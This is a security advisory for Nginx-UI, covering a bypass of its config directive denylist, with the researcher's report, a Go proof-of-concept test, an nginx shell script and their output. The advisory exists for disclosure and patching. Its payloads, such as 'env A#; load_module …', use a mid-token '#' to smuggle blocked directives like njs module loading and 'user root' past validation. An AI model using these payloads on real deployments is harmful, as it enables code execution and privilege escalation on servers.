# GHSA-XWXF-XC5J-P7HX: Directive denylist bypass via mid-token '#' tokenizer differential (incomplete fix of GHSA-cf23-7qxj-xmhr)

- Database: GitHub
- Severity: CVSS 7.2 (High)
- Published: 2026-11-20
- Modified: 2026-11-20

## Affected versions

- github.com/0xJacky/Nginx-UI (Go): from 2.4.1, fixed in 2.9.2

## Description

### Summary

The config directive denylist's tokenizer did not split tokens like nginx's `ngx_conf_read_token`. It ended a token at a mid-token `#` and skipped the rest of the line as a comment, while nginx treats that `#` as an ordinary character. Restricted directives after `#;` (njs and perl `load_module`, `js_*`, `perl_*`, `user root`, `lua_package_*`) therefore passed every config write path, including the config API, site saves and the MCP config tools. This is an incomplete fix of GHSA-cf23-7qxj-xmhr. Exploiting it needs an administrator-equivalent credential; on the official image the njs module is available.

### Patches

Fixed on `dev` in [d1359aa73a](https://github.com/0xJacky/nginx-ui/commit/d1359aa73a) and [417b43eb7c](https://github.com/0xJacky/nginx-ui/commit/417b43eb7c). Released in 2.9.2. The validator now tokenizes like nginx (comments only at a token start, `}` and quotes literal mid-token, `${` kept in a token, nginx's whitespace set, comments ending at LF), skips `*_by_lua_block` bodies as ngx_lua does, and resolves `[!...]` include globs like glob(3).

### Workarounds

Limit config write access (administrators, `api:write` tokens, cluster nodes) to trusted principals.

---

## Original report

Summary
The directive denylist in internal/config/validation.go (ValidateConfigFile, ValidateConfigFileBytes, ValidateConfigContentBytes) uses a custom lexer, introduced to fix the same-line ';' bypass (GHSA-cf23-7qxj-xmhr). Its readUnquotedToken stops a token at '#', and nextToken then treats '#' as a comment start and skips to end of line. nginx only starts a comment when '#' begins a token; in the middle of a token '#' is an ordinary character and ';' still ends the statement. So `env A#; load_module modules/ngx_http_js_module.so;` is validated as `env A` plus a comment, while nginx executes both directives. Every blocked directive (js_*, perl_*, load_module of the js/perl modules, user root, lua_package_*) can be hidden this way.

Affected versions
Tested on v2.9.1 (commit 35e500f9). Likely every release containing the new lexer.

Steps to reproduce
1. Check out v2.9.1, add app/dist/index.html (placeholder for go:embed), copy bypass_test.go from the attached zip to internal/config/, run: go test ./internal/config -run TestBypass -v
2. Run ngx.sh inside the nginx:stable container to see nginx accept and act on the statements after '#;'.

Expected result
All payloads containing a blocked directive are rejected, as the plain forms are.

Actual result
Plain `load_module ...js_module.so;` and `user root;` are rejected (control). `env A#; load_module modules/ngx_http_js_module.so;`, `env A#; user root;` and `add_header X a#b; js_content main;` return err=nil. nginx 1.30.6 parses the hidden statements (loads the js module, recognizes js_content, reports an unknown directive for a bogus one placed after '#;'). Validation is the same entry point used by the config add/modify, site/stream save and duplicate paths and by included files.

Impact
An authenticated admin can again inject the directives the denylist exists to block, giving code execution in the nginx worker on images that ship the njs module (e.g. the official image), or root workers. This is the same class as GHSA-cf23-7qxj-xmhr, via a different mechanism. I only ran the validator and nginx -t separately; I did not run the full web app end to end.

Suggested fix
Make the lexer follow nginx: start a comment only when '#' is at the start of a token, treat '#' inside an unquoted token as a normal character. Add regression tests for `env A#; user root;` and `add_header X a#b; js_content main;`. Also validate on the backup restore path.

Dedupe
Searched repo security advisories (GHSA-cf23-7qxj-xmhr, GHSA-vxxj-x4x4-q624, GHSA-9jww-cxg5-rj9m, GHSA-76pm-mq2q-9gcr, GHSA-63fr-3xfg-xpmg, GO-2026-6782), issues and PRs for lexer, comment, denylist, ValidateConfigFile, and commits to validation.go since the v2.9.1 release. None describes the '#' tokenizer differential.

Credit: Zachariah Mithani (AploSec)
Please assign a CVE if you agree this is a vulnerability.

## PoC files (attached zip contents inline)

### README.txt
```
bypass_test.go: copy into internal/config/ of nginx-ui v2.9.1 (needs a placeholder app/dist/index.html for go:embed), run: go test ./internal/config -run TestBypass -v
ngx.sh: run inside nginx:stable (1.30.x) container to show nginx parses the statements hidden after '#;'
```

### bypass_test.go
```
package config

import "testing"

func TestBypass(t *testing.T) {
	cases := map[string]string{
		"control-plain-load_module": "load_module modules/ngx_http_js_module.so;\nevents {}\n",
		"control-plain-user-root":   "user root;\nevents {}\n",
		"bypass-load_module":        "env A#; load_module modules/ngx_http_js_module.so;\nevents {}\n",
		"bypass-user-root":          "env A#; user root;\nevents {}\n",
		"bypass-js_content":         "events {}\nhttp { server { location / { add_header X a#b; js_content main; } } }\n",
		"honest-control-js_content": "events {}\nhttp { server { location / { js_content main; } } }\n",
	}
	for n, c := range cases {
		err := ValidateConfigContentBytes([]byte(c))
		t.Logf("%s => err=%v", n, err)
	}
}
```

### ngx.sh
```
nginx -v 2>&1
ls /usr/lib/nginx/modules | head
printf "env A#; load_module modules/ngx_http_js_module.so;\nevents {}\nhttp { server { listen 8081; location / { add_header X a#b; js_content main; return 200 ok; } } }\n" > /tmp/n.conf
nginx -t -c /tmp/n.conf 2>&1 | head
echo --- dump
printf "env A#; user root;\nevents {}\n" > /tmp/m.conf
nginx -T -c /tmp/m.conf 2>&1 | grep -E "env|user|test" 
echo --- js
printf "load_module modules/ngx_http_js_module.so;\nevents {}\nhttp { js_import m from /tmp/m.js; server { listen 8081; location / { js_content m.main; } } }\n" > /tmp/j.conf
nginx -t -c /tmp/j.conf 2>&1 | head -3
echo --- control-env
printf "env A#; bogus_directive_xyz on;\nevents {}\n" > /tmp/b.conf
nginx -t -c /tmp/b.conf 2>&1 | head -3
```

### output.txt
```
control-plain-load_module => err=file content contains restricted nginx directive: load_module
control-plain-user-root => err=file content contains restricted nginx directive: user root
bypass-load_module => err=<nil>
bypass-user-root => err=<nil>
bypass-js_content => err=<nil>
honest-control-js_content => err=file content contains restricted nginx directive: js_content
nginx 1.30.6: "env A#; bogus_directive_xyz on;" -> [emerg] unknown directive "bogus_directive_xyz" (statement after '#;' is parsed)
nginx 1.30.6: "env A#; load_module ngx_http_js_module.so; ... add_header X a#b; js_content main;" -> [emerg] no imports defined for "js_content" "main" (module loaded, js_content parsed)
```

## References

- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-xwxf-xc5j-p7hx

Page: https://cve.now/GHSA-XWXF-XC5J-P7HX

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
